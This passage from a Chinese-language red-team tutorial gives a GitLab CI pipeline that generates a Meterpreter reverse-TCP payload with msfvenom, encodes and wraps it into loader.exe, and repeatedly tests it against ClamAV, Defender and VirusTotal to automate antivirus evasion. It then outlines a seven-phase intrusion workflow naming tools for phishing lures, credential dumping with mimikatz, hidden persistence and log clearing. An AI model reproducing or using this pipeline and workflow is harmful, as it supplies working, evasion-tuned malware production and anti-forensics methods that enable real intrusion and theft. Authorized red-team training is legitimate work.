7. 持續監控 | 生產線巡檢 | 檢測檢測規則更新后,自動復測并報警 | 定時Pipeline、郵件/Slack告警 |
1.2.1 代碼管理與觸發示例(GitLab CI)
stages:- build- test- deployvariables:LHOST: "10.0.0.5"LPORT: "4444"build_payload:stage: buildscript:- msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT \-e x86/shikata_ga_nai -i 5 -f raw > shellcode.bin- donut -f shellcode.bin -o loader.exeartifacts:paths:- loader.exescan_payload:stage: testscript:- bash scripts/scan_local.sh loader.exe- python3 scripts/scan_virustotal.py loader.exedependencies:- build_payloaddeploy_payload:stage: deploywhen: on_successscript:- mv loader.exe /opt/payloads/loader_$(date +%F_%H%M%S).exeonly:- master
1.2.2 自動化查殺腳本示例(scan_local.sh)
#!/bin/bash
# 本地ClamAV掃描
clamscan --no-summary loader.exe
# Windows Defender (在CI Windows Runner上執行)
powershell -Command "Start-MpScan -ScanPath 'loader.exe'"
1.2.3 云端API檢測示例(scan_virustotal.py)
import requests, sys
API_KEY = 'YOUR_VT_API_KEY'
file_path = sys.argv[1]
files = {'file': open(file_path, 'rb')}
resp = requests.post('https://www.virustotal.com/api/v3/files', files=files,headers={'x-apikey': API_KEY})
print(resp.json())
1.3 坑位預警
- 觸發頻率過高:頻繁跑Pipeline會浪費資源,可配置“按提交分支”或“夜間定時”
- 憑證安全:CI變量要加密存儲,避免泄露LHOST、VT API Key等敏感信息
- 環境差異:本地Runner與目標環境(Windows、Linux)差異要提前Mock測試
1.4 知識加油站
小貼士:
免殺流水線不是“把腳本一堆堆塞進去”就完事,核心是持續驗證+快速反饋,遇到檢測升級能立馬迭代。
1.5 動手實驗室
- 搭建一套GitHub Actions:完成從msfvenom生成→UPX加殼→ClamAV測試→Slack通知的全流程。
- 擴展測試:集成VirusTotal API,統計檢測率并可視化(輸出HTML表格)。
- 閉環改進:一旦檢測失敗,自動新建Issue并標記“需改進”,實現DevOps式協作。
二、紅隊體系化作戰流程
2.1 為什么要體系化?(總述)
紅隊作戰不只是一次入侵,更是一套從偵察到清理、多團隊協作的全流程戰役。體系化能保證每個環節有章可循、可審計、可優化,就像現代化軍隊打仗:情報→打擊→補給→收尾一個都不能少。
2.2 紅隊作戰七大階段
階段 | 戰術比喻 | 核心工作 | 關鍵輸出 |
---|---|---|---|
1. 偵察 | 偵察兵前線踩點 | 收集域名、IP、子網、員工社工信息 | 情報報告(Targets.xlsx) |
2. 初始訪問 | 破門斥候 | 利用釣魚、漏洞、弱口令取得首個會話 | 初始Shell/Beacon會話 |
3. 權限升級 | 突擊隊突擊 | 本地提權、繞過UAC、憑證轉儲 | SYSTEM/DOMAIN ADMIN權限 |
4. 橫向移動 | 裝載車隊 | 利用Pass-the-Hash/Pass-the-Ticket等 | 多臺主機Meterpreter會話 |
5. 持久化 | 架橋補給 | 安排后門、計劃任務、服務劫持 | 持久化腳本 & 監控文檔 |
6. 目標達成 | 核心火力打擊 | 數據竊取、敏感信息定位、權限濫用 | 敏感數據包、截圖、鍵盤記錄 |
7. 清理歸航 | 撤離特種部隊 | 日志清理、進程遷移、工單回溯 | 清理腳本、取證日志、交付報告 |
階段細節與工具
-
偵察
- 工具:
nmap
、theHarvester
、shodan
、社工框架 - 輸出:資產清單、員工郵箱列表、VPN/外網入口
- 工具:
-
初始訪問
- 工具:Metasploit Exploit、釣魚平臺(GoPhish)、Cobalt Strike
- 注意:一定要設計“誘餌”頁面/郵件,提高點擊率
-
權限升級
- 工具:
getsystem
、Windows Exploit Suggester
、linPEAS
- 要點:先收集補丁信息,再精準選擇提權模塊
- 工具:
-
橫向移動
- 工具:
wmiexec.py
、pth-toolkit
、CrackMapExec
- 要點:憑證復用+域信任利用+端口轉發
- 工具:
-
持久化
- 工具:
persistence
腳本、schtasks
、sc.exe
、WMI Subscription - 要點:多種方式輪換執行,降低被發現概率
- 工具:
-
目標達成
- 工具:
hashdump
、mimikatz
、SharpHound
、BloodHound
- 輸出:敏感文檔、PPT、數據庫爆破結果等
- 工具:
-
清理歸航
- 工具:
clearev
、wevtutil
、forensic script
- 嚴謹:交付紅隊報告時,附上“所有腳本+執行日志”供藍隊驗證
- 工具:
2.3 坑位預警
- 跨階段信息孤島:偵察數據不共享,初始訪問重復踩點,浪費時間
- 權限提升沖突:不同提權腳本互相影響,導致模塊失效
- 持久化泛濫:過多后門拉長排查鏈路,易被藍隊暴露
- 清理不徹底:漏清EDR鉤子、Registry痕跡,紅隊“行蹤”暴露
2.4 知識加油站
小貼士:
完整的紅隊流程,不是單兵突擊,而是團隊協作+工具鏈聯動+持續反饋。每個階段都要產出可復現、可復盤的KPI指標和文檔。
2.5 動手實驗室
- 演練一次小范圍紅隊演習:3人一組,分工偵察、滲透、清理;全程記錄時間、產出文檔,賽后復盤。
- 搭建紅隊運維面板:使用ELK或Splunk收集各階段日志,實現實時可視化。
- 撰寫紅隊報告模板:包含情報摘要、攻擊路徑圖、POC命令、復現步驟、建議修復措施。
三、總結(總述)
本節我們從自動化流水線的角度,實現了“從代碼提交到合格載荷出廠”的一鍵化免殺;并梳理了紅隊體系化作戰流程的七大核心階段,配以關鍵工具和注意事項。
有了流水線,載荷生產更高效、可控;有了體系,作戰更規范、可審計。二者結合,才能在紅藍對抗中贏得真正優勢。